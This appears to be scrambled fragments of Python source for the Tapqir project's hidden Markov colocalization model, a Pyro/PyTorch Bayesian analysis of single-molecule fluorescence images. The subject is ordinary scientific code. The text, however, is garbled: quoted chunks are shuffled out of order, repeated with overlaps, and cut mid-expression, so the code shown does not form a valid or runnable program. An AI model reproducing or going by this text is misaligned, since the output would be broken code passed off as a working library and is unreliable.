"infer, pyro from torch.nn.functional import one_hot from tapqir.distributions import KSMOGN, AffineBeta from tapqir.distributions.util",
"constraint=constraints.positive, ) pyro.param( \"background_std_loc\", lambda: torch.ones(data.Nt, 1, device=device), constraint=constraints.positive, ) pyro.param( \"b_loc\", lambda:",
"dist.Dirichlet(torch.ones(self.S + 1, self.S + 1) / (self.S + 1)).to_event( 1 ), )",
"+ 1, self.S + 1) / (self.S + 1)).to_event( 1 ), ) trans",
"dim=-1, ) # spots spots = pyro.plate(\"spots\", self.K) # aoi sites aois =",
"Vindex(pyro.param(\"y_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P + 1) / 2, (self.data.P +",
"target-specific spot :math:`p(\\mathsf{specific})` \"\"\" return self.z_probs @property def m_probs(self) -> torch.Tensor: r\"\"\" Posterior",
") @staticmethod def _sequential_logmatmulexp(logits: torch.Tensor) -> torch.Tensor: \"\"\" For a tensor ``x`` whose",
"model state (1+S,) z_probs = ( Vindex(init)[..., :, is_ontarget.long()] if isinstance(fdx, int) and",
"of there being a target-specific spot :math:`p(\\mathsf{specific})` \"\"\" return self.z_probs @property def m_probs(self)",
"logits.shape[:-2] state_dim = logits.size(-1) result = torch.eye(state_dim).log() result = result.reshape((1,) * len(batch_shape) +",
") pyro.sample( \"trans\", dist.Dirichlet( pyro.param(\"trans_mean\") * pyro.param(\"trans_size\") ).to_event(1), ) pyro.sample( \"lamda\", dist.Gamma( pyro.param(\"lamda_loc\")",
"/ (self.S + 1)).to_event( 1 ), ) trans = expand_offtarget(trans) lamda = pyro.sample(\"lamda\",",
"/ math.sqrt(12), ), ) # spots spots = pyro.plate(\"spots\", self.K) # aoi sites",
"in frames: if self.vectorized: fsx, fdx = fdx else: fsx = fdx #",
"2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"y_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval(",
"= Vindex(pyro.param(\"m_probs\"))[z_curr, kdx, ndx, fdx] m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Categorical(m_probs), infer={\"enumerate\": \"parallel\"}, )",
"1) / (2 * proximity)) ** 2 - 1), ), dim=-1, ) #",
"\"\"\" return self.z_probs @property def m_probs(self) -> torch.Tensor: r\"\"\" Posterior spot presence probability",
"= sum_term[..., :even_time:2, :, :] left_sum_and_term = _logmatmulexp(left_term, left_sum) new_left_term[..., :even_time:2, :, :]",
"+ 1) / 2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"size\", lambda: torch.full((self.K, data.Nt,",
"torch.tensor(100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"lamda_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.positive, ) pyro.param( \"lamda_beta\",",
"pyro.plate( \"aois\", self.data.Nt, subsample=self.n, subsample_size=self.nbatch_size, dim=-2, ) # time frames frames = (",
"1].exp() @property def pspecific(self) -> torch.Tensor: r\"\"\" Probability of there being a target-specific",
"of there being a target-specific spot :math:`p(z=1)` \"\"\" result = self._sequential_logmatmulexp(pyro.param(\"z_trans\").data.log()) return result[...,",
"// 2, :, :] left_sum = sum_term[..., :even_time:2, :, :] left_sum_and_term = _logmatmulexp(left_term,",
"**Generative Model** \"\"\" # global parameters gain = pyro.sample(\"gain\", dist.HalfNormal(50)) init = pyro.sample(",
"data.F), 0.001, device=device), constraint=constraints.positive, ) pyro.param( \"w_mean\", lambda: torch.full((self.K, data.Nt, data.F), 1.5, device=device),",
"pyro.param( \"background_mean_loc\", lambda: torch.full( (data.Nt, 1), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, )",
"2 + 1, :, : ] left_term = left_term[..., : even_time // 2,",
"= logits.shape[:-2] state_dim = logits.size(-1) result = torch.eye(state_dim).log() result = result.reshape((1,) * len(batch_shape)",
"xs.append(x) ys.append(y) # observed data pyro.sample( f\"data_{fsx}\", KSMOGN( torch.stack(heights, -1), torch.stack(widths, -1), torch.stack(xs,",
"pyro.param(\"trans_size\") ).to_event(1), ) pyro.sample( \"lamda\", dist.Gamma( pyro.param(\"lamda_loc\") * pyro.param(\"lamda_beta\"), pyro.param(\"lamda_beta\"), ), ) pyro.sample(",
"pyro.param( \"size\", lambda: torch.full((self.K, data.Nt, data.F), 200, device=device), constraint=constraints.greater_than(2.0), ) # classification pyro.param(",
"data.Nt, data.F), 100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"x_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device),",
"1, self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param( \"trans_size\", lambda: torch.full((self.S + 1,",
"= pyro.sample( f\"m_{kdx}_{fsx}\", dist.Categorical(m_probs), infer={\"enumerate\": \"parallel\"}, ) with handlers.mask(mask=m > 0): # sample",
"even_time // 2 : even_time // 2 + 1, :, : ] left_term",
"pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( 1.5, 2, 0.75, 2.25, ), ) x = pyro.sample( f\"x_{kdx}_{fsx}\",",
"binder molecules. :param K: Maximum number of spots that can be present in",
"sweep while logits.size(-3) > 1: time = logits.size(-3) even_time = time // 2",
"0, (self.data.P + 1) / math.sqrt(12) - torch.finfo(self.dtype).eps, ), ) pyro.param( \"proximity_size\", lambda:",
"torch.full( (data.Nt, 1), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"background_std_loc\", lambda:",
"infer.JitTraceMarkovEnum_ELBO if jit else infer.TraceMarkovEnum_ELBO )(max_plate_nesting=2, ignore_jit_warnings=True) return (infer.JitTraceEnum_ELBO if jit else infer.TraceEnum_ELBO)(",
"bool = True, vectorized: bool = False, ): self.vectorized = vectorized super().__init__(S, K,",
"device=device), constraint=constraints.positive, ) pyro.param( \"gain_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"background_mean_loc\", lambda:",
"(self.data.P + 1) / 2, ), ) z_prev = z_curr def init_parameters(self): \"\"\"",
") pyro.param( \"trans_size\", lambda: torch.full((self.S + 1, 1), 2, device=device), constraint=constraints.positive, ) pyro.param(",
"# up sweep while logits.size(-3) > 1: time = logits.size(-3) even_time = time",
"torch.Tensor) -> torch.Tensor: batch_shape = logits.shape[:-2] state_dim = logits.size(-1) result = torch.eye(state_dim).log() result",
") pyro.sample( \"lamda\", dist.Gamma( pyro.param(\"lamda_loc\") * pyro.param(\"lamda_beta\"), pyro.param(\"lamda_beta\"), ), ) pyro.sample( \"proximity\", AffineBeta(",
"* pyro.param(\"gain_beta\"), pyro.param(\"gain_beta\"), ), ) pyro.sample( \"init\", dist.Dirichlet(pyro.param(\"init_mean\") * pyro.param(\"init_size\")) ) pyro.sample( \"trans\",",
"x, y = x_y.unbind(-3) contracted = _logmatmulexp(x, y) if time > even_time: contracted",
"(state_dim, state_dim)) result = result.repeat(batch_shape + (1, 1)) return result @property def z_probs(self)",
"+ (even_time // 2, 2, state_dim, state_dim) ) x, y = x_y.unbind(-3) contracted",
"self.K) # aoi sites aois = pyro.plate( \"aois\", self.data.Nt, subsample=self.n, subsample_size=self.nbatch_size, dim=-2, )",
"device: str = \"cpu\", dtype: str = \"double\", use_pykeops: bool = True, vectorized:",
"of single-molecule fluorescence colocalization images. bioRxiv. 2021 Oct. doi: `10.1101/2021.09.30.462536 <https://doi.org/10.1101/2021.09.30.462536>`_. :param S:",
"DL. Bayesian machine learning analysis of single-molecule fluorescence colocalization images. bioRxiv. 2021 Oct.",
"pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P + 1) / 2, (self.data.P +",
"+ 1) / 2, (self.data.P + 1) / 2, ), ) y =",
") with aois as ndx: ndx = ndx[:, None] pyro.sample( \"background_mean\", dist.Delta(Vindex(pyro.param(\"background_mean_loc\"))[ndx, 0]),",
"sample background intensity pyro.sample( f\"background_{fsx}\", dist.Gamma( Vindex(pyro.param(\"b_loc\"))[ndx, fdx] * Vindex(pyro.param(\"b_beta\"))[ndx, fdx], Vindex(pyro.param(\"b_beta\"))[ndx, fdx],",
"+ 1) / 2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"y_mean\", lambda: torch.zeros(self.K, data.Nt,",
"dist.Gamma( Vindex(pyro.param(\"b_loc\"))[ndx, fdx] * Vindex(pyro.param(\"b_beta\"))[ndx, fdx], Vindex(pyro.param(\"b_beta\"))[ndx, fdx], ), ) # sample hidden",
"data.Nt, data.F), 200, device=device), constraint=constraints.greater_than(2.0), ) # classification pyro.param( \"z_trans\", lambda: torch.ones( data.Nt,",
"\"\"\" batch_shape = logits.shape[:-3] state_dim = logits.size(-1) sum_terms = [] # up sweep",
"theta = pyro.sample( f\"theta_{fdx}\", dist.Categorical( Vindex(probs_theta(self.K, self.device))[ torch.clamp(z_curr, min=0, max=1) ] ), infer={\"enumerate\":",
"pyro.sample( f\"background_{fsx}\", dist.Gamma( Vindex(pyro.param(\"b_loc\"))[ndx, fdx] * Vindex(pyro.param(\"b_beta\"))[ndx, fdx], Vindex(pyro.param(\"b_beta\"))[ndx, fdx], ), ) #",
"Markov Colocalization Model** .. note:: This model is used for kinetic simulations. Efficient",
"f\"theta_{fdx}\", dist.Categorical( Vindex(probs_theta(self.K, self.device))[ torch.clamp(z_curr, min=0, max=1) ] ), infer={\"enumerate\": \"parallel\"}, ) onehot_theta",
"Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P + 1) / 2, (self.data.P + 1) / 2,",
"AffineBeta from tapqir.distributions.util import expand_offtarget, probs_m, probs_theta from tapqir.models.cosmos import Cosmos class HMM(Cosmos):",
"= pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( 1.5, 2, 0.75, 2.25, ), ) x = pyro.sample(",
"background_mean = pyro.sample(\"background_mean\", dist.HalfNormal(1000)) background_std = pyro.sample(\"background_std\", dist.HalfNormal(100)) z_prev = None for fdx",
"ys.append(y) # observed data pyro.sample( f\"data_{fsx}\", KSMOGN( torch.stack(heights, -1), torch.stack(widths, -1), torch.stack(xs, -1),",
"For a tensor ``x`` whose time dimension is -3, computes:: x[..., 0, :,",
"\"proximity_loc\", \"gain_loc\", \"lamda_loc\"] self._global_params = [\"gain\", \"proximity\", \"lamda\", \"trans\"] def model(self): \"\"\" **Generative",
"= _logmatmulexp(left_term, sum_term) return alphas @staticmethod def _contraction_identity(logits: torch.Tensor) -> torch.Tensor: batch_shape =",
"f\"z_{fsx}\", dist.Categorical(z_probs), infer={\"enumerate\": \"parallel\"}, ) for kdx in spots: # spot presence m_probs",
"sweep while sum_terms: sum_term = sum_terms.pop() new_left_term = HMM._contraction_identity(sum_term) time = sum_term.size(-3) even_time",
"pyro.param(\"gain_beta\"), pyro.param(\"gain_beta\"), ), ) pyro.sample( \"init\", dist.Dirichlet(pyro.param(\"init_mean\") * pyro.param(\"init_size\")) ) pyro.sample( \"trans\", dist.Dirichlet(",
"model state (3,1,1,1) z_probs = ( Vindex(pyro.param(\"z_trans\"))[ndx, fdx, 0] if isinstance(fdx, int) and",
"constraint=constraints.interval( -(data.P + 1) / 2 + torch.finfo(self.dtype).eps, (data.P + 1) / 2",
") y = pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P + 1) /",
"jit else infer.TraceMarkovEnum_ELBO )(max_plate_nesting=2, ignore_jit_warnings=True) return (infer.JitTraceEnum_ELBO if jit else infer.TraceEnum_ELBO)( max_plate_nesting=2, ignore_jit_warnings=True",
"Vindex(pyro.param(\"z_trans\"))[ndx, fdx, z_prev] ) z_curr = pyro.sample( f\"z_{fsx}\", dist.Categorical(z_probs), infer={\"enumerate\": \"parallel\"}, ) for",
"in spots: # spot presence m_probs = Vindex(pyro.param(\"m_probs\"))[z_curr, kdx, ndx, fdx] m =",
"pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"x_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P + 1) /",
") pyro.param( \"b_loc\", lambda: torch.full( (data.Nt, data.F), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive,",
"r\"\"\" **Single-Color Hidden Markov Colocalization Model** .. note:: This model is used for",
"variables pyro.sample( f\"height_{kdx}_{fsx}\", dist.Gamma( Vindex(pyro.param(\"h_loc\"))[kdx, ndx, fdx] * Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], Vindex(pyro.param(\"h_beta\"))[kdx, ndx,",
"lambda: torch.tensor(0.5, device=device), constraint=constraints.positive, ) pyro.param( \"lamda_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param(",
"use_pykeops) self.conv_params = [\"-ELBO\", \"proximity_loc\", \"gain_loc\", \"lamda_loc\"] self._global_params = [\"gain\", \"proximity\", \"lamda\", \"trans\"]",
"even_time // 2, :, :] left_sum = sum_term[..., :even_time:2, :, :] left_sum_and_term =",
"(background_mean / background_std) ** 2, background_mean / background_std ** 2, ), ) #",
"dist.HalfNormal(100)) z_prev = None for fdx in frames: if self.vectorized: fsx, fdx =",
"\"\"\" # global parameters pyro.sample( \"gain\", dist.Gamma( pyro.param(\"gain_loc\") * pyro.param(\"gain_beta\"), pyro.param(\"gain_beta\"), ), )",
"int) and fdx < 1 else Vindex(pyro.param(\"z_trans\"))[ndx, fdx, z_prev] ) z_curr = pyro.sample(",
"+ self.S, self.K, self.data.Nt, self.data.F), 0.5, device=device, ), constraint=constraints.unit_interval, ) def TraceELBO(self, jit=False):",
":param dtype: Floating point precision. :param use_pykeops: Use pykeops as backend to marginalize",
"2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"size\", lambda: torch.full((self.K, data.Nt, data.F), 200, device=device),",
"False, ): self.vectorized = vectorized super().__init__(S, K, channels, device, dtype, use_pykeops) self.conv_params =",
"pyro.sample(\"background_mean\", dist.HalfNormal(1000)) background_std = pyro.sample(\"background_std\", dist.HalfNormal(100)) z_prev = None for fdx in frames:",
"+ 1) / (self.S + 1)) ) init = expand_offtarget(init) trans = pyro.sample(",
"self.data.F), 0.5, device=device, ), constraint=constraints.unit_interval, ) def TraceELBO(self, jit=False): \"\"\" A trace implementation",
"bioRxiv. 2021 Oct. doi: `10.1101/2021.09.30.462536 <https://doi.org/10.1101/2021.09.30.462536>`_. :param S: Number of distinct molecular states",
":param channels: Number of color channels. :param device: Computation device (cpu or gpu).",
"dist.Dirichlet( pyro.param(\"trans_mean\") * pyro.param(\"trans_size\") ).to_event(1), ) pyro.sample( \"lamda\", dist.Gamma( pyro.param(\"lamda_loc\") * pyro.param(\"lamda_beta\"), pyro.param(\"lamda_beta\"),",
"gain, self.data.offset.samples, self.data.offset.logits.to(self.dtype), self.data.P, torch.stack(torch.broadcast_tensors(*ms), -1), self.use_pykeops, ), obs=obs, ) z_prev = z_curr",
"+ 1)) ) init = expand_offtarget(init) trans = pyro.sample( \"trans\", dist.Dirichlet(torch.ones(self.S + 1,",
"\"trans\", dist.Dirichlet( pyro.param(\"trans_mean\") * pyro.param(\"trans_size\") ).to_event(1), ) pyro.sample( \"lamda\", dist.Gamma( pyro.param(\"lamda_loc\") * pyro.param(\"lamda_beta\"),",
"pyro.sample( f\"background_{fdx}\", dist.Gamma( (background_mean / background_std) ** 2, background_mean / background_std ** 2,",
"= fdx else: fsx = fdx # fetch data obs, target_locs, is_ontarget =",
"* len(batch_shape) + (state_dim, state_dim)) result = result.repeat(batch_shape + (1, 1)) return result",
"= pyro.sample( f\"z_{fsx}\", dist.Categorical(z_probs), infer={\"enumerate\": \"parallel\"}, ) for kdx in spots: # spot",
"batch_shape = logits.shape[:-3] state_dim = logits.size(-1) sum_terms = [] # up sweep while",
"ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P + 1) / 2, (self.data.P + 1)",
":] left_sum = sum_term[..., :even_time:2, :, :] left_sum_and_term = _logmatmulexp(left_term, left_sum) new_left_term[..., :even_time:2,",
"left_sum_and_term left_term = new_left_term else: alphas = _logmatmulexp(left_term, sum_term) return alphas @staticmethod def",
"> 1: time = logits.size(-3) even_time = time // 2 * 2 even_part",
"# global parameters pyro.sample( \"gain\", dist.Gamma( pyro.param(\"gain_loc\") * pyro.param(\"gain_beta\"), pyro.param(\"gain_beta\"), ), ) pyro.sample(",
"1) / 2, ), ) y = pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific],",
"= HMM._contraction_identity(sum_term) time = sum_term.size(-3) even_time = time // 2 * 2 if",
"z_curr = pyro.sample( f\"z_{fsx}\", dist.Categorical(z_probs), infer={\"enumerate\": \"parallel\"}, ) for kdx in spots: #",
"being a target-specific spot :math:`p(\\mathsf{specific})` \"\"\" return self.z_probs @property def m_probs(self) -> torch.Tensor:",
"f\"m_{kdx}_{fsx}\", dist.Categorical(m_probs), infer={\"enumerate\": \"parallel\"}, ) with handlers.mask(mask=m > 0): # sample spot variables",
"list] = (0,), device: str = \"cpu\", dtype: str = \"double\", use_pykeops: bool",
"the Tapqir project. # SPDX-License-Identifier: Apache-2.0 \"\"\" hmm ^^^ \"\"\" import math from",
"time > even_time: contracted = torch.cat((contracted, logits[..., -1:, :, :]), dim=-3) sum_terms.append(logits) logits",
"= left_term[ ..., even_time // 2 : even_time // 2 + 1, :,",
"if time > even_time: new_left_term[..., time - 1 : time, :, :] =",
"+ 1) / 2, (self.data.P + 1) / 2, ), ) # append",
"gain = pyro.sample(\"gain\", dist.HalfNormal(50)) init = pyro.sample( \"init\", dist.Dirichlet(torch.ones(self.S + 1) / (self.S",
"whose time dimension is -3, computes:: x[..., 0, :, :] @ x[..., 1,",
"offset. :param vectorized: Vectorize time-dimension. \"\"\" name = \"hmm\" def __init__( self, S:",
"else Vindex(trans)[..., z_prev, :, is_ontarget.long()] ) z_curr = pyro.sample(f\"z_{fsx}\", dist.Categorical(z_probs)) theta = pyro.sample(",
"lambda: torch.tensor(2, device=device), constraint=constraints.positive, ) pyro.param( \"trans_mean\", lambda: torch.ones(self.S + 1, self.S +",
"pyro.param( \"trans_size\", lambda: torch.full((self.S + 1, 1), 2, device=device), constraint=constraints.positive, ) pyro.param( \"gain_loc\",",
"device=device), constraint=constraints.interval( -(data.P + 1) / 2 + torch.finfo(self.dtype).eps, (data.P + 1) /",
"dist.Gamma( pyro.param(\"gain_loc\") * pyro.param(\"gain_beta\"), pyro.param(\"gain_beta\"), ), ) pyro.sample( \"init\", dist.Dirichlet(pyro.param(\"init_mean\") * pyro.param(\"init_size\")) )",
"torch.ones( data.Nt, data.F, 1 + self.S, 1 + self.S, device=device, ), constraint=constraints.simplex, )",
"// 2, 2, state_dim, state_dim) ) x, y = x_y.unbind(-3) contracted = _logmatmulexp(x,",
"pyro.sample( \"trans\", dist.Dirichlet(torch.ones(self.S + 1, self.S + 1) / (self.S + 1)).to_event( 1",
") with handlers.mask(mask=m > 0): # sample spot variables pyro.sample( f\"height_{kdx}_{fsx}\", dist.Gamma( Vindex(pyro.param(\"h_loc\"))[kdx,",
"fsx = fdx # sample background intensity pyro.sample( f\"background_{fsx}\", dist.Gamma( Vindex(pyro.param(\"b_loc\"))[ndx, fdx] *",
"-> torch.Tensor: r\"\"\" Probability of there being a target-specific spot :math:`p(z=1)` \"\"\" result",
"int) and fdx < 1 else Vindex(trans)[..., z_prev, :, is_ontarget.long()] ) z_curr =",
"\"size\", lambda: torch.full((self.K, data.Nt, data.F), 200, device=device), constraint=constraints.greater_than(2.0), ) # classification pyro.param( \"z_trans\",",
"even_time: new_left_term[..., time - 1 : time, :, :] = left_term[ ..., even_time",
":even_time:2, :, :] left_sum_and_term = _logmatmulexp(left_term, left_sum) new_left_term[..., :even_time:2, :, :] = left_term",
"# observed data pyro.sample( f\"data_{fsx}\", KSMOGN( torch.stack(heights, -1), torch.stack(widths, -1), torch.stack(xs, -1), torch.stack(ys,",
"self.data.Nt, subsample=self.n, subsample_size=self.nbatch_size, dim=-2, ) # time frames frames = ( pyro.vectorized_markov(name=\"frames\", size=self.data.F,",
"[], [], [], [] for kdx in spots: specific = onehot_theta[..., 1 +",
"+ 1) / math.sqrt(12) - torch.finfo(self.dtype).eps, ), ) pyro.param( \"proximity_size\", lambda: torch.tensor(100, device=device),",
"Union[tuple, list] = (0,), device: str = \"cpu\", dtype: str = \"double\", use_pykeops:",
"lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"background_mean_loc\", lambda: torch.full( (data.Nt, 1), data.median -",
"(self.data.P + 1) / math.sqrt(12) - torch.finfo(self.dtype).eps, ), ) pyro.param( \"proximity_size\", lambda: torch.tensor(100,",
"\"lamda\", \"trans\"] def model(self): \"\"\" **Generative Model** \"\"\" # global parameters gain =",
") # classification pyro.param( \"z_trans\", lambda: torch.ones( data.Nt, data.F, 1 + self.S, 1",
"left_sum) new_left_term[..., :even_time:2, :, :] = left_term new_left_term[..., 1:even_time:2, :, :] = left_sum_and_term",
"= \"cpu\", dtype: str = \"double\", use_pykeops: bool = True, vectorized: bool =",
"torch.distributions.constraints as constraints from pyro.distributions.hmm import _logmatmulexp from pyro.ops.indexing import Vindex from pyroapi",
"), ) # sample hidden model state (3,1,1,1) z_probs = ( Vindex(pyro.param(\"z_trans\"))[ndx, fdx,",
"pyro.markov(range(self.data.F)) ) with aois as ndx: ndx = ndx[:, None] pyro.sample( \"background_mean\", dist.Delta(Vindex(pyro.param(\"background_mean_loc\"))[ndx,",
"pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P + 1) / 2, (self.data.P +",
"= 2, channels: Union[tuple, list] = (0,), device: str = \"cpu\", dtype: str",
"> even_time: contracted = torch.cat((contracted, logits[..., -1:, :, :]), dim=-3) sum_terms.append(logits) logits =",
"a target-specific spot :math:`p(\\mathsf{specific})` \"\"\" return self.z_probs @property def m_probs(self) -> torch.Tensor: r\"\"\"",
"\"gain_loc\", \"lamda_loc\"] self._global_params = [\"gain\", \"proximity\", \"lamda\", \"trans\"] def model(self): \"\"\" **Generative Model**",
"= expand_offtarget(trans) lamda = pyro.sample(\"lamda\", dist.Exponential(1)) proximity = pyro.sample(\"proximity\", dist.Exponential(1)) size = torch.stack(",
"a single image. :param channels: Number of color channels. :param device: Computation device",
"while logits.size(-3) > 1: time = logits.size(-3) even_time = time // 2 *",
"logits.size(-1) sum_terms = [] # up sweep while logits.size(-3) > 1: time =",
"else pyro.markov(range(self.data.F)) ) with aois as ndx: ndx = ndx[:, None] pyro.sample( \"background_mean\",",
"+ 1) / math.sqrt(12), ), ) # spots spots = pyro.plate(\"spots\", self.K) #",
"pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"y_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P + 1) /",
"computes:: x[..., 0, :, :] @ x[..., 1, :, :] @ ... @",
"2, ), ) # sample hidden model state (1+S,) z_probs = ( Vindex(init)[...,",
"# sample hidden model state (1+S,) z_probs = ( Vindex(init)[..., :, is_ontarget.long()] if",
"+ 1, device=device), constraint=constraints.simplex, ) pyro.param( \"trans_size\", lambda: torch.full((self.S + 1, 1), 2,",
"parallel sampling over any sample site in the guide. \"\"\" if self.vectorized: return",
"constraint=constraints.greater_than(2.0), ) pyro.param( \"x_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P + 1)",
"else: fsx = fdx # fetch data obs, target_locs, is_ontarget = self.data.fetch(ndx, fdx,",
"frames = ( pyro.vectorized_markov(name=\"frames\", size=self.data.F, dim=-1) if self.vectorized else pyro.markov(range(self.data.F)) ) with aois",
"spots = pyro.plate(\"spots\", self.K) # aoi sites aois = pyro.plate( \"aois\", self.data.Nt, subsample=self.n,",
"# spot presence m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Bernoulli(Vindex(probs_m(lamda, self.K))[..., theta, kdx]), ) with",
"result = torch.eye(state_dim).log() result = result.reshape((1,) * len(batch_shape) + (state_dim, state_dim)) result =",
"fdx], ), ) pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"w_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"w_size\"))[kdx, ndx, fdx], 0.75,",
"local parallel sampling over any sample site in the guide. \"\"\" if self.vectorized:",
"pyro.param(\"gain_beta\"), ), ) pyro.sample( \"init\", dist.Dirichlet(pyro.param(\"init_mean\") * pyro.param(\"init_size\")) ) pyro.sample( \"trans\", dist.Dirichlet( pyro.param(\"trans_mean\")",
"and fdx < 1 else Vindex(pyro.param(\"z_trans\"))[ndx, fdx, z_prev] ) z_curr = pyro.sample( f\"z_{fsx}\",",
"1, :, : ] left_term = left_term[..., : even_time // 2, :, :]",
"\"proximity_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.interval( 0, (self.data.P + 1) / math.sqrt(12) - torch.finfo(self.dtype).eps,",
"+ 1)).to_event( 1 ), ) trans = expand_offtarget(trans) lamda = pyro.sample(\"lamda\", dist.Exponential(1)) proximity",
"pyro.param( \"background_std_loc\", lambda: torch.ones(data.Nt, 1, device=device), constraint=constraints.positive, ) pyro.param( \"b_loc\", lambda: torch.full( (data.Nt,",
"1), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"background_std_loc\", lambda: torch.ones(data.Nt, 1,",
"sites, and - local parallel sampling over any sample site in the guide.",
":, :] = left_sum_and_term left_term = new_left_term else: alphas = _logmatmulexp(left_term, sum_term) return",
"pykeops as backend to marginalize out offset. :param vectorized: Vectorize time-dimension. \"\"\" name",
"z_probs = ( Vindex(init)[..., :, is_ontarget.long()] if isinstance(fdx, int) and fdx < 1",
"Vindex(trans)[..., z_prev, :, is_ontarget.long()] ) z_curr = pyro.sample(f\"z_{fsx}\", dist.Categorical(z_probs)) theta = pyro.sample( f\"theta_{fdx}\",",
"device=device), constraint=constraints.positive, ) pyro.param( \"lamda_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"init_mean\", lambda:",
"self.cdx) # sample background intensity background = pyro.sample( f\"background_{fdx}\", dist.Gamma( (background_mean / background_std)",
"\"double\", use_pykeops: bool = True, vectorized: bool = False, ): self.vectorized = vectorized",
") pyro.param( \"init_size\", lambda: torch.tensor(2, device=device), constraint=constraints.positive, ) pyro.param( \"trans_mean\", lambda: torch.ones(self.S +",
"0): # sample spot variables pyro.sample( f\"height_{kdx}_{fsx}\", dist.Gamma( Vindex(pyro.param(\"h_loc\"))[kdx, ndx, fdx] * Vindex(pyro.param(\"h_beta\"))[kdx,",
"expand_offtarget, probs_m, probs_theta from tapqir.models.cosmos import Cosmos class HMM(Cosmos): r\"\"\" **Single-Color Hidden Markov",
"exhaustive enumeration over discrete sample sites, and - local parallel sampling over any",
"pyro.sample( \"init\", dist.Dirichlet(pyro.param(\"init_mean\") * pyro.param(\"init_size\")) ) pyro.sample( \"trans\", dist.Dirichlet( pyro.param(\"trans_mean\") * pyro.param(\"trans_size\") ).to_event(1),",
"= True, vectorized: bool = False, ): self.vectorized = vectorized super().__init__(S, K, channels,",
"device=device), constraint=constraints.positive, ) pyro.param( \"background_mean_loc\", lambda: torch.full( (data.Nt, 1), data.median - self.data.offset.mean, device=device,",
"kdx] # spot presence m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Bernoulli(Vindex(probs_m(lamda, self.K))[..., theta, kdx]), )",
"[] for kdx in spots: specific = onehot_theta[..., 1 + kdx] # spot",
"0.001, device=device), constraint=constraints.positive, ) pyro.param( \"w_mean\", lambda: torch.full((self.K, data.Nt, data.F), 1.5, device=device), constraint=constraints.interval(",
"import torch import torch.distributions.constraints as constraints from pyro.distributions.hmm import _logmatmulexp from pyro.ops.indexing import",
"init_parameters(self): \"\"\" Initialize variational parameters. \"\"\" device = self.device data = self.data pyro.param(",
"@property def m_probs(self) -> torch.Tensor: r\"\"\" Posterior spot presence probability :math:`q(m=1)`. \"\"\" return",
"used for kinetic simulations. Efficient fitting is not yet supported. **Reference**: 1. <NAME>,",
"AffineBeta( Vindex(pyro.param(\"y_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P + 1) / 2, (self.data.P",
"str = \"cpu\", dtype: str = \"double\", use_pykeops: bool = True, vectorized: bool",
":, :] left_sum = sum_term[..., :even_time:2, :, :] left_sum_and_term = _logmatmulexp(left_term, left_sum) new_left_term[...,",
"self._sequential_logmatmulexp(pyro.param(\"z_trans\").data.log()) return result[..., 0, 1].exp() @property def pspecific(self) -> torch.Tensor: r\"\"\" Probability of",
"= self.data pyro.param( \"proximity_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.interval( 0, (self.data.P + 1) /",
"Apache-2.0 \"\"\" hmm ^^^ \"\"\" import math from typing import Union import torch",
"if self.vectorized else pyro.markov(range(self.data.F)) ) with aois as ndx: ndx = ndx[:, None]",
"z_prev = z_curr def guide(self): \"\"\" **Variational Distribution** \"\"\" # global parameters pyro.sample(",
"model(self): \"\"\" **Generative Model** \"\"\" # global parameters gain = pyro.sample(\"gain\", dist.HalfNormal(50)) init",
"def init_parameters(self): \"\"\" Initialize variational parameters. \"\"\" device = self.device data = self.data",
"import KSMOGN, AffineBeta from tapqir.distributions.util import expand_offtarget, probs_m, probs_theta from tapqir.models.cosmos import Cosmos",
"), ) trans = expand_offtarget(trans) lamda = pyro.sample(\"lamda\", dist.Exponential(1)) proximity = pyro.sample(\"proximity\", dist.Exponential(1))",
